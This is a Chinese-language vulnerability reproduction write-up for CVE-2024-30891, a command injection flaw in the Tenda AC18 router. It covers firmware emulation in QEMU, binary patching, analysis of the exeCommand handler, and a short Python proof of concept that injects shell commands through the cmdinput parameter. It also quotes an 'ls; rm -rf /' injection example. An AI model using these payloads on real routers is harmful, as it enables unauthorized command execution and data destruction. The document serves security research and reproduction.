【工业安全】-CVE-2024-30891- Tenda AC18路由器 命令注入漏洞
1.漏洞描述
2.漏洞复现
2.1 qemu-user 模拟:
2.2 qemu-system模拟:
3.漏洞分析
4.poc代码:
1.漏洞描述
漏洞编号:CVE-2024-30891
漏洞名称:Tenda AC18 命令注入
威胁等级:高危
漏洞详情:Tenda AC 18 v15.03.05.05的/goform/exeCommand中存在命令注入漏洞,攻击者可利用该漏洞构造命令输入参数以执行任意命令。
影响范围:v15.03.05.05
2.漏洞复现
在/home/CVE-2024-30891目录下,用qemu-usr用户模式模拟,把固件模拟运行起来。
2.1 qemu-user 模拟:
1.首先在CVE-2022-35555.py同级目录下,binwalk -eM 解压文件。
2.然后对binwalk解包后的固件中的任何二进制文件执行 file 命令,查看下设备的cpu 架构。
命令:file ./bin/httpd
可知Tenda AC18路由器的httpd是基于ARM架构的 32 位小端序可执行文件。
3.给httpd文件可执行权限,命令:chmod +x httpd
4.复制squashfs-root目录下的webroot_ro文件到webroot中
rm -rf webroot
ln -s webroot_ro/ webroot
5.执行模拟命令,sudo qemu-mipsel-static -L . ./bin/httpd
但是卡在这里了,在IDA里面看一下httpd,搜索 welcome,定向分析可知Loc_2E2FC会对 check_network 函数的返回值进行判断,只有网络检查通过才会跳转到右侧loc_2E320继续执行,否则会被卡住。
修改图中MOV R3,R0为MOV R3,#1 。
具体修改时,先在 https://disasm.pro/ 上查一下汇编对应的十六进制:
6.将path 后的httpd 替换原来的文件。
重新给httpd文件可执行权限,进入squashfs-root目录,打开终端。
执行命令: sudo qemu-arm-static -L . ./bin/httpd
失败,所以Tenda AX1803也不支持在本机上开启80端口模拟路由器。
因此要建立一个虚拟网桥br0,配置一下网络:
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0
重新模拟:sudo qemu-arm-static -L . ./bin/httpd
此时能够访问web界面了:
但是执行poc时出现:
所以不能使用qumu-user模拟路由器,要qemu-system模拟的debian-armhf系统模拟。所以不能使用qumu-user模拟路由器,要qemu-system模拟的debian-armhf系统模拟。
2.2 qemu-system模拟:
已知Tenda AC18路由器的httpd是基于ARM架构的 32 位小端序可执行文件。
1.创建diban目录,下载模拟qemu-system需要的阉割debian(debian-armhf)系统:
https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpres
#进行qemu-system模拟,进入debian-armhf系统:
$sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic \
-net tap,ifname=br0,script=no,downscript=no \
debian-armhf login: 账号密码都是root
2.使用 qemu-system系统模拟debian-armhf时,需要建立一个虚拟网桥,使得debian-armhf与我们的宿主机ubuntu16.04能正常通信:
#配置宿主机ubuntu 16.04的ip:
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.2.1/24
#配置虚拟机qemu system模拟的debian-armhf系统的ip:
ifconfig eth0 192.168.2.2/24
3.将宿主机ubuntu 16.04的固件打包上传到debian-armhf虚拟机中
在宿主机ubuntu 16.04上:
打包home/ml/CVE-2020-10987目录下的squashfs-root文件到root根目录
tar -czvf squashfs-root.tar.gz squashfs-root
sudo mv squashfs-root.tar.gz /root/
在虚拟机qemu-system模拟的debian-armhf系统上:
将位于ubuntu16.04的根目录的squashfs-root.tar.gz 文件复制到qemu-system模拟的debian-armhf系统上,并解压。
scp root@192.168.2.1:/root/squashfs-root.tar.gz /root/squashfs-root.tar.gz
解压/root/squashfs-root.tar.gz 文件
tar xzf squashfs-root.tar.gz
rm squashfs-root.tar.gz
4.挂载文件系统
$mount -o bind /dev ./squashfs-root/dev
$mount -t proc /proc ./squashfs-root/proc
5.桥接br0
chroot squashfs-root/ sh
brctl addbr br0
ifconfig br0 192.168.2.2/24 up
6.模拟固件
chroot squashfs-root/ bin/httpd
浏览器访问:192.168.2.2
执行poc后可在临时文件中得到hack文件:
python a.py
3.漏洞分析
使用 binwalk -eM 解包固件,获得系统文件以备后续分析。
/goform/exeCommand 请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中,exeCommand函数里:
Ida查找exeCommand 函数:
与CVE-2022-3555的漏洞点相同,甚至更直白(cmdinput 参数取到的值没有经过任何检查就传到传递给 doSystemCmd )
可以通过构造恶意输入来注入额外的命令:
src = "ls; rm -rf /";
故我们可以构造
http://<ip router>/goform/exeCommand+"cmdinput=asd;ls -la . > 注入命令来复现此漏洞。
4.poc代码:
代码复现时环境ip为 192.168.2.2
import requests
IP = '192.168.2.2:80'
url = f"http://{IP}/goform/exeCommand"
data = "cmdinput=asd;ls -la . > ./tmp/hack;"
ret = requests.post(url=url,data=data)
参考文章:IoT-vuln/Tenda/AC18/formexeCommand.md at main · Lantern-r/IoT-vuln · GitHub